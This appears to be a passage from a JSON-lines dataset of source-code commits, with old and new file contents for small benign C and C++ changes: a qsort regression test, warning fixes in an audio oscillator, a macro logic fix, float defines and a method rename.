,cdecker\/bitcoin,x-kalux\/bitcoin_WiG-B,MazaCoin\/maza,jnewbery\/bitcoin,brandonrobertz\/namecoin-core,monacoinproject\/monacoin,instagibbs\/bitcoin,bitcoinknots\/bitcoin,Chancoin-core\/CHANCOIN,GroestlCoin\/GroestlCoin,brandonrobertz\/namecoin-core,wellenreiter01\/Feathercoin,kallewoof\/bitcoin,randy-waterhouse\/bitcoin,n1bor\/bitcoin,romanornr\/viacoin,aspanta\/bitcoin,lateminer\/bitcoin,AkioNak\/bitcoin,ElementsProject\/elements,myriadteam\/myriadcoin,JeremyRubin\/bitcoin,ahmedbodi\/vertcoin,pataquets\/namecoin-core,myriadcoin\/myriadcoin,TheBlueMatt\/bitcoin,MarcoFalke\/bitcoin,sebrandon1\/bitcoin,Christewart\/bitcoin,OmniLayer\/omnicore,jonasschnelli\/bitcoin,sipsorcery\/bitcoin,wellenreiter01\/Feathercoin,JeremyRubin\/bitcoin,RHavar\/bitcoin,MazaCoin\/maza,Gazer022\/bitcoin,namecoin\/namecoin-core,instagibbs\/bitcoin,jnewbery\/bitcoin,Anfauglith\/iop-hd,jtimon\/bitcoin,Jcing95\/iop-hd,Rav3nPL\/bitcoin,Bushstar\/UFO-Project,MazaCoin\/maza,vertcoin\/vertcoin,digibyte\/digibyte,simonmulser\/bitcoin,nbenoit\/bitcoin,sarielsaz\/sarielsaz,rnicoll\/bitcoin,wangxinxi\/litecoin,destenson\/bitcoin--bitcoin,digibyte\/digibyte,kallewoof\/bitcoin,kallewoof\/bitcoin,Anfauglith\/iop-hd,Anfauglith\/iop-hd,JeremyRubin\/bitcoin,ryanofsky\/bitcoin,jambolo\/bitcoin,untrustbank\/litecoin,pstratem\/bitcoin,simonmulser\/bitcoin,andreaskern\/bitcoin,Chancoin-core\/CHANCOIN,dscotese\/bitcoin,h4x3rotab\/BTCGPU,bitcoinknots\/bitcoin,UFOCoins\/ufo,afk11\/bitcoin,jambolo\/bitcoin,droark\/bitcoin,MeshCollider\/bitcoin,Kogser\/bitcoin,apoelstra\/bitcoin,ericshawlinux\/bitcoin,donaloconnor\/bitcoin,Theshadow4all\/ShadowCoin,RHavar\/bitcoin,lbryio\/lbrycrd,Exgibichi\/statusquo,donaloconnor\/bitcoin,mm-s\/bitcoin,DigitalPandacoin\/pandacoin,TheBlueMatt\/bitcoin,romanornr\/viacoin,Rav3nPL\/bitcoin,prusnak\/bitcoin,Chancoin-core\/CHANCOIN,stamhe\/bitcoin,alecalve\/bitcoin,ericshawlinux\/bitcoin,gjhiggins\/vcoincore,gjhiggins\/vcoincore,EthanHeilman\/bitcoin,AkioNak\/bitcoin,Friedbaumer\/litecoin,h4x3rotab\/BTCGPU,mitchellcash\/bitcoin,nbenoit\/bitcoin,Kogser\/bitcoin,cdecker\/bitcoin,sarielsaz\/sarielsaz,deeponion\/deeponion,OmniLayer\/omnicore,domob1812\/bitcoin,wellenreiter01\/Feathercoin,gjhiggins\/vcoincore,dscotese\/bitcoin,RHavar\/bitcoin,1185\/starwels,fujicoin\/fujicoin,Theshadow4all\/ShadowCoin,tecnovert\/particl-core,EthanHeilman\/bitcoin,myriadteam\/myriadcoin,h4x3rotab\/BTCGPU,litecoin-project\/litecoin,Sjors\/bitcoin,midnightmagic\/bitcoin,RHavar\/bitcoin,domob1812\/huntercore,sarielsaz\/sarielsaz,Jcing95\/iop-hd,domob1812\/huntercore,domob1812\/bitcoin,tecnovert\/particl-core,wangxinxi\/litecoin,Friedbaumer\/litecoin,deeponion\/deeponion,21E14\/bitcoin,lateminer\/bitcoin,jtimon\/bitcoin,romanornr\/viacoin,domob1812\/namecore,kevcooper\/bitcoin,sebrandon1\/bitcoin,qtumproject\/qtum,n1bor\/bitcoin,jtimon\/bitcoin,mruddy\/bitcoin,Theshadow4all\/ShadowCoin,prusnak\/bitcoin,Rav3nPL\/bitcoin,spiritlinxl\/BTCGPU,Sjors\/bitcoin,bitcoin\/bitcoin,lbryio\/lbrycrd,tjps\/bitcoin,rawodb\/bitcoin,21E14\/bitcoin,r8921039\/bitcoin,Xekyo\/bitcoin,qtumproject\/qtum,jnewbery\/bitcoin,vmp32k\/litecoin,starwels\/starwels,jmcorgan\/bitcoin,afk11\/bitcoin,fanquake\/bitcoin,n1bor\/bitcoin,monacoinproject\/monacoin,brandonrobertz\/namecoin-core,Chancoin-core\/CHANCOIN,rnicoll\/bitcoin,thrasher-\/litecoin,Xekyo\/bitcoin,maaku\/bitcoin,prusnak\/bitcoin,bespike\/litecoin,1185\/starwels,maaku\/bitcoin,cryptoprojects\/ultimateonlinecash,GlobalBoost\/GlobalBoost,nikkitan\/bitcoin,Bushstar\/UFO-Project,fujicoin\/fujicoin,mm-s\/bitcoin,prusnak\/bitcoin,BTCGPU\/BTCGPU,OmniLayer\/omnicore,lateminer\/bitcoin,mm-s\/bitcoin,ElementsProject\/elements,destenson\/bitcoin--bitcoin,bitcoinknots\/bitcoin,sipsorcery\/bitcoin,fujicoin\/fujicoin,ppcoin\/ppcoin,untrustbank\/litecoin,sarielsaz\/sarielsaz,jonasschnelli\/bitcoin,AkioNak\/bitcoin,ElementsProject\/elements,FeatherCoin\/Feathercoin,jonasschnelli\/bitcoin,kazcw\/bitcoin,globaltoken\/globaltoken,randy-waterhouse\/bitcoin,aspanta\/bitcoin,gmaxwell\/bitcoin,sarielsaz\/sarielsaz,litecoin-project\/litecoin,viacoin\/viacoin,Kogser\/bitcoin,practicalswift\/bitcoin,joshrabinowitz\/bitcoin,aspanta\/bitcoin,mm-s\/bitcoin,gmaxwell\/bitcoin,joshrabinowitz\/bitcoin,domob1812\/namecore,wellenreiter01\/Feathercoin,sstone\/bitcoin,guncoin\/guncoin,sstone\/bitcoin,sebrandon1\/bitcoin,guncoin\/guncoin,kazcw\/bitcoin,domob1812\/huntercore,Jcing95\/iop-hd,n1bor\/bitcoin,FeatherCoin\/Feathercoin,x-kalux\/bitcoin_WiG-B,r8921039\/bitcoin,GroestlCoin\/GroestlCoin,alecalve\/bitcoin,FeatherCoin\/Feathercoin,peercoin\/peercoin,AkioNak\/bitcoin,Gazer022\/bitcoin,bitcoinsSG\/bitcoin,myriadcoin\/myriadcoin,FeatherCoin\/Feathercoin,yenliangl\/bitcoin,GroestlCoin\/GroestlCoin,midnightmagic\/bitcoin,cryptoprojects\/ultimateonlinecash,peercoin\/peercoin,ppcoin\/ppcoin,brandonrobertz\/namecoin-core,qtumproject\/qtum,Friedbaumer\/litecoin,maaku\/bitcoin,lbryio\/lbrycrd,nikkitan\/bitcoin,jlopp\/statoshi,destenson\/bitcoin--bitcoin,Rav3nPL\/bitcoin,digibyte\/digibyte,nikkitan\/bitcoin,EthanHeilman\/bitcoin,FeatherCoin\/Feathercoin,deeponion\/deeponion,Exgibichi\/statusquo,GlobalBoost\/GlobalBoost,jtimon\/bitcoin,21E14\/bitcoin,wellenreiter01\/Feathercoin,viacoin\/viacoin,gmaxwell\/bitcoin,StarbuckBG\/BTCGPU,EthanHeilman\/bitcoin,vmp32k\/litecoin,tjps\/bitcoin,jamesob\/bitcoin,kallewoof\/bitcoin,donaloconnor\/bitcoin,pataquets\/namecoin-core,BTCGPU\/BTCGPU,GlobalBoost\/GlobalBoost,laudaa\/bitcoin,apoelstra\/bitcoin,GroestlCoin\/GroestlCoin,jambolo\/bitcoin,destenson\/bitcoin--bitcoin,vmp32k\/litecoin,namecoin\/namecore,Gazer022\/bitcoin,Flowdalic\/bitcoin,bitcoinsSG\/bitcoin,Anfauglith\/iop-hd,domob1812\/namecore,myriadcoin\/myriadcoin,achow101\/bitcoin,cdecker\/bitcoin,gmaxwell\/bitcoin,namecoin\/namecoin-core,joshrabinowitz\/bitcoin,mruddy\/bitcoin,peercoin\/peercoin,globaltoken\/globaltoken,GroestlCoin\/bitcoin,bitcoinsSG\/bitcoin,rnicoll\/dogecoin,ElementsProject\/elements,spiritlinxl\/BTCGPU,tjps\/bitcoin,21E14\/bitcoin,particl\/particl-core,tecnovert\/particl-core,jmcorgan\/bitcoin,bitcoin\/bitcoin,Rav3nPL\/bitcoin,namecoin\/namecore,rnicoll\/bitcoin,ppcoin\/ppcoin,rnicoll\/bitcoin,deeponion\/deeponion,myriadteam\/myriadcoin,monacoinproject\/monacoin,GroestlCoin\/bitcoin,kevcooper\/bitcoin,wangxinxi\/litecoin,Chancoin-core\/CHANCOIN,Kogser\/bitcoin,mb300sd\/bitcoin,Theshadow4all\/ShadowCoin,apoelstra\/bitcoin,qtumproject\/qtum,mruddy\/bitcoin,Xekyo\/bitcoin,practicalswift\/bitcoin,digibyte\/digibyte,MeshCollider\/bitcoin,MazaCoin\/maza,laudaa\/bitcoin,litecoin-project\/litecoin,bespike\/litecoin,andreaskern\/bitcoin,gjhiggins\/vcoincore,prusnak\/bitcoin,MazaCoin\/maza,bitcoinknots\/bitcoin,myriadcoin\/myriadcoin,Sjors\/bitcoin,UFOCoins\/ufo,apoelstra\/bitcoin,simonmulser\/bitcoin,romanornr\/viacoin,CryptArc\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,1185\/starwels,Friedbaumer\/litecoin,droark\/bitcoin,jonasschnelli\/bitcoin,globaltoken\/globaltoken,bitbrazilcoin-project\/bitbrazilcoin,r8921039\/bitcoin,andreaskern\/bitcoin,MarcoFalke\/bitcoin,thrasher-\/litecoin,domob1812\/huntercore,Christewart\/bitcoin,Sjors\/bitcoin,1185\/starwels,kallewoof\/bitcoin,achow101\/bitcoin,nbenoit\/bitcoin,TheBlueMatt\/bitcoin,donaloconnor\/bitcoin,achow101\/bitcoin,sipsorcery\/bitcoin,ericshawlinux\/bitcoin,tecnovert\/particl-core,x-kalux\/bitcoin_WiG-B,fanquake\/bitcoin,OmniLayer\/omnicore,fanquake\/bitcoin,rawodb\/bitcoin,guncoin\/guncoin,sebrandon1\/bitcoin,starwels\/starwels,bespike\/litecoin,domob1812\/namecore,Christewart\/bitcoin,mruddy\/bitcoin,bitcoinknots\/bitcoin,ajtowns\/bitcoin,anditto\/bitcoin,myriadcoin\/myriadcoin,dscotese\/bitcoin,maaku\/bitcoin,nbenoit\/bitcoin,GlobalBoost\/GlobalBoost,simonmulser\/bitcoin,vertcoin\/vertcoin,GroestlCoin\/GroestlCoin,Theshadow4all\/ShadowCoin,Anfauglith\/iop-hd,namecoin\/namecoin-core,sipsorcery\/bitcoin,rnicoll\/dogecoin,vertcoin\/vertcoin,Chancoin-core\/CHANCOIN,digibyte\/digibyte,MazaCoin\/maza,joshrabinowitz\/bitcoin,UFOCoins\/ufo,CryptArc\/bitcoin,cryptoprojects\/ultimateonlinecash,sstone\/bitcoin,cdecker\/bitcoin,Flowdalic\/bitcoin,tecnovert\/particl-core,sarielsaz\/sarielsaz,Flowdalic\/bitcoin,Friedbaumer\/litecoin,Flowdalic\/bitcoin,rnicoll\/dogecoin,gjhiggins\/vcoincore,wangxinxi\/litecoin,jamesob\/bitcoin,anditto\/bitcoin,droark\/bitcoin,viacoin\/viacoin,AkioNak\/bitcoin,midnightmagic\/bitcoin,Flowdalic\/bitcoin,shelvenzhou\/BTCGPU,spiritlinxl\/BTCGPU,RHavar\/bitcoin,21E14\/bitcoin,ajtowns\/bitcoin,mruddy\/bitcoin,domob1812\/bitcoin,GlobalBoost\/GlobalBoost,GroestlCoin\/bitcoin,jmcorgan\/bitcoin,yenliangl\/bitcoin,andreaskern\/bitcoin,afk11\/bitcoin,kevcooper\/bitcoin,nbenoit\/bitcoin,randy-waterhouse\/bitcoin,Sjors\/bitcoin,MarcoFalke\/bitcoin,paveljanik\/bitcoin,spiritlinxl\/BTCGPU,sstone\/bitcoin,mb300sd\/bitcoin,trippysalmon\/bitcoin,lateminer\/bitcoin,Flowdalic\/bitcoin,tjps\/bitcoin,n1bor\/bitcoin,ahmedbodi\/vertcoin,peercoin\/peercoin,qtumproject\/qtum,untrustbank\/litecoin,DigitalPandacoin\/pandacoin,apoelstra\/bitcoin,rnicoll\/dogecoin,gmaxwell\/bitcoin,lbryio\/lbrycrd,qtumproject\/qtum,spiritlinxl\/BTCGPU,FeatherCoin\/Feathercoin,Friedbaumer\/litecoin,mb300sd\/bitcoin,guncoin\/guncoin,particl\/particl-core,dscotese\/bitcoin,Xekyo\/bitcoin,x-kalux\/bitcoin_WiG-B,dscotese\/bitcoin,litecoin-project\/litecoin,mitchellcash\/bitcoin,mb300sd\/bitcoin,maaku\/bitcoin,anditto\/bitcoin,namecoin\/namecore,MarcoFalke\/bitcoin,yenliangl\/bitcoin,afk11\/bitcoin,Bushstar\/UFO-Project,rnicoll\/bitcoin,droark\/bitcoin,TheBlueMatt\/bitcoin,domob1812\/bitcoin,litecoin-project\/litecoin,aspanta\/bitcoin,anditto\/bitcoin,Exgibichi\/statusquo,dscotese\/bitcoin,StarbuckBG\/BTCGPU,JeremyRubin\/bitcoin,jlopp\/statoshi,peercoin\/peercoin,rawodb\/bitcoin,BTCGPU\/BTCGPU,jlopp\/statoshi,CryptArc\/bitcoin,DigitalPandacoin\/pandacoin,pstratem\/bitcoin,GroestlCoin\/GroestlCoin,fujicoin\/fujicoin,yenliangl\/bitcoin,DigitalPandacoin\/pandacoin,guncoin\/guncoin,rawodb\/bitcoin,instagibbs\/bitcoin,nbenoit\/bitcoin,wangxinxi\/litecoin,simonmulser\/bitcoin,lbryio\/lbrycrd,trippysalmon\/bitcoin,UFOCoins\/ufo,CryptArc\/bitcoin,gjhiggins\/vcoincore,midnightmagic\/bitcoin,BitzenyCoreDevelopers\/bitzeny,domob1812\/bitcoin,mitchellcash\/bitcoin,MeshCollider\/bitcoin,wellenreiter01\/Feathercoin,cdecker\/bitcoin,jambolo\/bitcoin,midnightmagic\/bitcoin,JeremyRubin\/bitcoin,andreaskern\/bitcoin,tecnovert\/particl-core,21E14\/bitcoin,donaloconnor\/bitcoin,mm-s\/bitcoin,nikkitan\/bitcoin,BitzenyCoreDevelopers\/bitzeny,namecoin\/namecore,jmcorgan\/bitcoin,ryanofsky\/bitcoin,Jcing95\/iop-hd,paveljanik\/bitcoin,bitcoinsSG\/bitcoin,droark\/bitcoin,apoelstra\/bitcoin,destenson\/bitcoin--bitcoin,MeshCollider\/bitcoin,globaltoken\/globaltoken,paveljanik\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,jtimon\/bitcoin,paveljanik\/bitcoin,jnewbery\/bitcoin,kazcw\/bitcoin,Kogser\/bitcoin,EthanHeilman\/bitcoin,monacoinproject\/monacoin,afk11\/bitcoin,ahmedbodi\/vertcoin,DigitalPandacoin\/pandacoin,sipsorcery\/bitcoin,alecalve\/bitcoin,BTCGPU\/BTCGPU,vertcoin\/vertcoin,monacoinproject\/monacoin,bitbrazilcoin-project\/bitbrazilcoin,particl\/particl-core,Jcing95\/iop-hd,DigitalPandacoin\/pandacoin,shelvenzhou\/BTCGPU,Christewart\/bitcoin,yenliangl\/bitcoin,joshrabinowitz\/bitcoin,cryptoprojects\/ultimateonlinecash,CryptArc\/bitcoin,fanquake\/bitcoin,GlobalBoost\/GlobalBoost,achow101\/bitcoin,jamesob\/bitcoin,droark\/bitcoin,Bushstar\/UFO-Project,jnewbery\/bitcoin,viacoin\/viacoin,pstratem\/bitcoin,starwels\/starwels,Kogser\/bitcoin,bitcoinsSG\/bitcoin,Christewart\/bitcoin,Exgibichi\/statusquo,BitzenyCoreDevelopers\/bitzeny,h4x3rotab\/BTCGPU,mb300sd\/bitcoin,alecalve\/bitcoin,1185\/starwels,Kogser\/bitcoin,simonmulser\/bitcoin,sstone\/bitcoin,thrasher-\/litecoin,Bushstar\/UFO-Project,Gazer022\/bitcoin,ppcoin\/ppcoin,namecoin\/namecore,jmcorgan\/bitcoin,bespike\/litecoin,BitzenyCoreDevelopers\/bitzeny,lbryio\/lbrycrd,ryanofsky\/bitcoin,x-kalux\/bitcoin_WiG-B,sstone\/bitcoin,aspanta\/bitcoin,afk11\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,x-kalux\/bitcoin_WiG-B,MeshCollider\/bitcoin,thrasher-\/litecoin,Christewart\/bitcoin,Kogser\/bitcoin,bitcoin\/bitcoin,trippysalmon\/bitcoin,domob1812\/bitcoin,ahmedbodi\/vertcoin,StarbuckBG\/BTCGPU,Anfauglith\/iop-hd,thrasher-\/litecoin,brandonrobertz\/namecoin-core,ajtowns\/bitcoin,BTCGPU\/BTCGPU,laudaa\/bitcoin,particl\/particl-core,starwels\/starwels,shelvenzhou\/BTCGPU,ajtowns\/bitcoin,andreaskern\/bitcoin,joshrabinowitz\/bitcoin,viacoin\/viacoin,globaltoken\/globaltoken,namecoin\/namecoin-core,RHavar\/bitcoin,jlopp\/statoshi,rawodb\/bitcoin,Bushstar\/UFO-Project,Theshadow4all\/ShadowCoin,litecoin-project\/litecoin,laudaa\/bitcoin,kevcooper\/bitcoin,nikkitan\/bitcoin,ericshawlinux\/bitcoin,starwels\/starwels,yenliangl\/bitcoin,pataquets\/namecoin-core,stamhe\/bitcoin,mitchellcash\/bitcoin,kevcooper\/bitcoin,trippysalmon\/bitcoin,pataquets\/namecoin-core,instagibbs\/bitcoin,n1bor\/bitcoin,ryanofsky\/bitcoin,EthanHeilman\/bitcoin,achow101\/bitcoin,JeremyRubin\/bitcoin,tjps\/bitcoin,ElementsProject\/elements,ajtowns\/bitcoin,GroestlCoin\/bitcoin,Kogser\/bitcoin,trippysalmon\/bitcoin,ahmedbodi\/vertcoin,OmniLayer\/omnicore,shelvenzhou\/BTCGPU,bitbrazilcoin-project\/bitbrazilcoin,rnicoll\/dogecoin,Kogser\/bitcoin,cryptoprojects\/ultimateonlinecash,BTCGPU\/BTCGPU,monacoinproject\/monacoin,jambolo\/bitcoin,kazcw\/bitcoin,practicalswift\/bitcoin,anditto\/bitcoin,mm-s\/bitcoin,MarcoFalke\/bitcoin,Rav3nPL\/bitcoin,Gazer022\/bitcoin,bitcoin\/bitcoin,UFOCoins\/ufo,pstratem\/bitcoin,mitchellcash\/bitcoin,GlobalBoost\/GlobalBoost,pataquets\/namecoin-core,TheBlueMatt\/bitcoin,ryanofsky\/bitcoin,namecoin\/namecoin-core,MarcoFalke\/bitcoin,alecalve\/bitcoin,aspanta\/bitcoin,Xekyo\/bitcoin,ryanofsky\/bitcoin,kevcooper\/bitcoin,bespike\/litecoin,pstratem\/bitcoin,wangxinxi\/litecoin,fanquake\/bitcoin,r8921039\/bitcoin,domob1812\/namecore,kazcw\/bitcoin,midnightmagic\/bitcoin,StarbuckBG\/BTCGPU,spiritlinxl\/BTCGPU,randy-waterhouse\/bitcoin,UFOCoins\/ufo,fujicoin\/fujicoin,paveljanik\/bitcoin,cdecker\/bitcoin,jamesob\/bitcoin,bitcoin\/bitcoin,jonasschnelli\/bitcoin,bespike\/litecoin,untrustbank\/litecoin,sebrandon1\/bitcoin,jamesob\/bitcoin,vmp32k\/litecoin,bitcoinsSG\/bitcoin,mruddy\/bitcoin,globaltoken\/globaltoken,viacoin\/viacoin,pataquets\/namecoin-core,instagibbs\/bitcoin,BitzenyCoreDevelopers\/bitzeny,peercoin\/peercoin,vmp32k\/litecoin"}
{"commit":"c970d8d8c6101a7e00fe91aef9a751d41c433569","old_file":"mudlib\/mud\/home\/Kotaka\/sys\/testd.c","new_file":"mudlib\/mud\/home\/Kotaka\/sys\/testd.c","old_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n\nstatic void create()\n{\n}\n\nvoid test()\n{\n}\n","new_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n#include <kotaka\/assert.h>\n\nstatic void create()\n{\n}\n\nprivate void test_qsort()\n{\n\tint *arr, i;\n\n\tarr = allocate(1000);\n\n\tfor (i = 0; i < 1000; i++) {\n\t\tarr[i] = random(1000000);\n\t}\n\n\tSUBD->qsort(arr, 0, 1000);\n\n\tfor (i = 0; i < 999; i++) {\n\t\tASSERT(arr[i] <= arr[i + 1]);\n\t}\n}\n\nvoid test()\n{\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Testing qsort...\");\n\ttest_qsort();\n}\n","subject":"Add regression test for qsort","message":"Add regression test for qsort\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"2321a73ac4bc7ae3fc543c36e690d9831040160a","old_file":"Sub-Terra\/include\/Oscillator.h","new_file":"Sub-Terra\/include\/Oscillator.h","old_contents":"#pragma once\n\n#include <math.h>\n#include \"WaveShape.h\"\n\nclass Oscillator {\npublic:\n\tWaveShape waveShape;\n\tdouble frequency = 1.0;\n\tdouble amplitude = 1.0;\n\tdouble speed = 1.0;\n\tuint32_t phaseAccumulator = 0;\n\n\tOscillator() = default;\n\tOscillator(const WaveShape &waveShape) : waveShape(waveShape), frequency(waveShape.preferredFrequency) {}\n\n\tstatic constexpr uint32_t LowerMask(unsigned int n) {\n\t\treturn (n == 0)\n\t\t\t? 0\n\t\t\t: ((LowerMask(n - 1) << 1) | 1);\n\t}\n\n\tstatic constexpr uint32_t UpperMask(unsigned int n) {\n\t\treturn LowerMask(n) << (32 - n);\n\t}\n\n\tinline uint16_t Tick(const double sampleRate) {\n\t\tdouble frequencyOut = frequency * speed;\n\t\tuint32_t frequencyControlWord = frequencyOut * static_cast<double>(1ull << 32) \/ sampleRate;\n\t\tphaseAccumulator += frequencyControlWord;\n\t\treturn amplitude * waveShape.table[(phaseAccumulator & UpperMask(WaveShape::granularity)) >> 22];\n\t}\n};\n","new_contents":"#pragma once\n\n#include \"WaveShape.h\"\n\nclass Oscillator {\npublic:\n\tWaveShape waveShape;\n\tdouble frequency = 1.0;\n\tdouble amplitude = 1.0;\n\tdouble speed = 1.0;\n\tuint32_t phaseAccumulator = 0;\n\n\tOscillator() = default;\n\tOscillator(const WaveShape &waveShape) : waveShape(waveShape), frequency(waveShape.preferredFrequency) {}\n\n\tstatic constexpr uint32_t LowerMask(unsigned int n) {\n\t\treturn (n == 0)\n\t\t\t? 0\n\t\t\t: ((LowerMask(n - 1) << 1) | 1);\n\t}\n\n\tstatic constexpr uint32_t UpperMask(unsigned int n) {\n\t\treturn LowerMask(n) << (32 - n);\n\t}\n\n\tinline uint16_t Tick(const double sampleRate) {\n\t\tdouble frequencyOut = frequency * speed;\n\t\tuint32_t frequencyControlWord = static_cast<uint32_t>(frequencyOut * static_cast<double>(1ull << 32) \/ sampleRate);\n\t\tphaseAccumulator += frequencyControlWord;\n\t\treturn static_cast<uint32_t>(amplitude * waveShape.table[(phaseAccumulator & UpperMask(WaveShape::granularity)) >> 22]);\n\t}\n};\n","subject":"Fix warnings and remove unused header","message":"Fix warnings and remove unused header\n","lang":"C","license":"mpl-2.0","repos":"polar-engine\/polar,polar-engine\/polar,shockkolate\/polar4,shockkolate\/polar4,shockkolate\/polar4,shockkolate\/polar4"}
{"commit":"f0b582a6639ad908211c938287fad26fc99a34dc","old_file":"peertalk\/PTPrivate.h","new_file":"peertalk\/PTPrivate.h","old_contents":"#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \\\n    (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8))\n#define PT_DISPATCH_RETAIN_RELEASE 1\n#endif\n\n#if PT_DISPATCH_RETAIN_RELEASE\n#define PT_PRECISE_LIFETIME\n#define PT_PRECISE_LIFETIME_UNUSED\n#else\n#define PT_PRECISE_LIFETIME __attribute__((objc_precise_lifetime))\n#define PT_PRECISE_LIFETIME_UNUSED __attribute__((objc_precise_lifetime, unused))\n#endif\n","new_contents":"#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \\\n    (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8))\n#define PT_DISPATCH_RETAIN_RELEASE 1\n#endif\n\n#define PT_PRECISE_LIFETIME\n#define PT_PRECISE_LIFETIME_UNUSED\n\n#if defined(PT_DISPATCH_RETAIN_RELEASE) && PT_DISPATCH_RETAIN_RELEASE\n#define PT_PRECISE_LIFETIME __attribute__((objc_precise_lifetime))\n#define PT_PRECISE_LIFETIME_UNUSED __attribute__((objc_precise_lifetime, unused))\n#endif\n","subject":"Fix logic that enables pre-ARC behavior","message":"Fix logic that enables pre-ARC behavior\n","lang":"C","license":"mit","repos":"fly19890211\/peertalk,philikon\/peertalk,fly19890211\/peertalk,yexihu\/peertalk,yexihu\/peertalk,fly19890211\/peertalk,rsms\/peertalk,ChetanGandhi\/peertalk,philikon\/peertalk,ChetanGandhi\/peertalk,yexihu\/peertalk,rsms\/peertalk,msdgwzhy6\/peertalk,TaoXueCheng\/peertalk,artifacts\/peertalk,artifacts\/peertalk,dguillamot\/PFMacOSClient,ChetanGandhi\/peertalk,2bbb\/peertalk,msdgwzhy6\/peertalk,artifacts\/peertalk,2bbb\/peertalk,dguillamot\/PFMacOSClient,philikon\/peertalk,TaoXueCheng\/peertalk,TaoXueCheng\/peertalk,msdgwzhy6\/peertalk,rsms\/peertalk,dguillamot\/PFMacOSClient,2bbb\/peertalk"}
{"commit":"44415f1f4effc8953177bc365098750e92df20f4","old_file":"src\/mpd-shell-defines.h","new_file":"src\/mpd-shell-defines.h","old_contents":"\n\/*\n * Copyright © 2010 Intel Corp.\n *\n * Authors: Rob Staudinger <robert.staudinger@intel.com>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU Lesser General Public License,\n * version 2.1, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#ifndef MPD_SHELL_DEFINES_H\n#define MPD_SHELL_DEFINES_H\n\n#define MPD_SHELL_WIDTH         1024\n#define MPD_SHELL_HEIGHT         300\n\n#define MPD_SHELL_PADDING         12\n#define MPD_SHELL_SPACING         24\n#define MPD_COMPUTER_PANE_WIDTH  320\n\n#endif \/* MPD_SHELL_DEFINES_H *\/\n\n","new_contents":"\n\/*\n * Copyright © 2010 Intel Corp.\n *\n * Authors: Rob Staudinger <robert.staudinger@intel.com>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU Lesser General Public License,\n * version 2.1, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#ifndef MPD_SHELL_DEFINES_H\n#define MPD_SHELL_DEFINES_H\n\n#define MPD_SHELL_WIDTH         1024.0\n#define MPD_SHELL_HEIGHT         300.0\n\n#define MPD_SHELL_PADDING         12.0\n#define MPD_SHELL_SPACING         24.0\n#define MPD_COMPUTER_PANE_WIDTH  320.0\n\n#endif \/* MPD_SHELL_DEFINES_H *\/\n\n","subject":"Define actor sized as float for type safety.","message":"shell: Define actor sized as float for type safety.\n","lang":"C","license":"lgpl-2.1","repos":"meego-netbook-ux\/meego-panel-devices,meego-netbook-ux\/meego-panel-devices,meego-netbook-ux\/meego-panel-devices"}
{"commit":"fe9f46ab6c0863c0a3c3345ebb43f32d50ab60ca","old_file":"Generics\/LWP\/ICondVar.h","new_file":"Generics\/LWP\/ICondVar.h","old_contents":"\r\n#pragma once\r\n\r\nnamespace LWP\r\n{\r\n\tclass ICondVar\r\n\t{\r\n\tpublic:\r\n\t\tvirtual void\twait() = 0;\r\n\t\tvirtual void\tsignal() = 0;\r\n\t\tvirtual void\tbroadcast() = 0;\r\n\t\tvirtual ~ICondVar() {}\r\n\t};\r\n}","new_contents":"\r\n#pragma once\r\n\r\nnamespace LWP\r\n{\r\n\tclass ICondVar\r\n\t{\r\n\tpublic:\r\n\t\tvirtual void\twait() = 0;\r\n\t\tvirtual void\tnotify() = 0;\r\n\t\tvirtual void\tbroadcast() = 0;\r\n\t\tvirtual ~ICondVar() {}\r\n\t};\r\n}","subject":"Change method name : `signal' => `notify'","message":"[LWP] Change method name : `signal' => `notify'\n","lang":"C","license":"mit","repos":"fiahil\/R-Type,fiahil\/R-Type"}
{"commit":"70065db2a0765b00473d8f40a640f0a4159f6387","old_file":"include\/stdlib.h","new_file":"include\/stdlib.h","old_contents":"#ifndef __STDLIB_H__\n#define __STDLIB_H__\n\nvoid assert(int boolean, char * msg);\n\n\n#endif \/\/ __STDLIB_H__\n","new_contents":"#ifndef __STDLIB_H__\n#define __STDLIB_H__\n\n#include <kernel.h>\n#include <task.h>\n#include <types.h>\n\nvoid assert(int boolean, char * msg);\n\n\n#endif \/\/ __STDLIB_H__\n","subject":"Add kernel.h, task.h and types.h, forming a facade interface","message":"Add kernel.h, task.h and types.h, forming a facade interface\n","lang":"C","license":"mit","repos":"gregwym\/ARM-Micro-Kernel,gregwym\/ARM-Micro-Kernel,gregwym\/ARM-Micro-Kernel"}
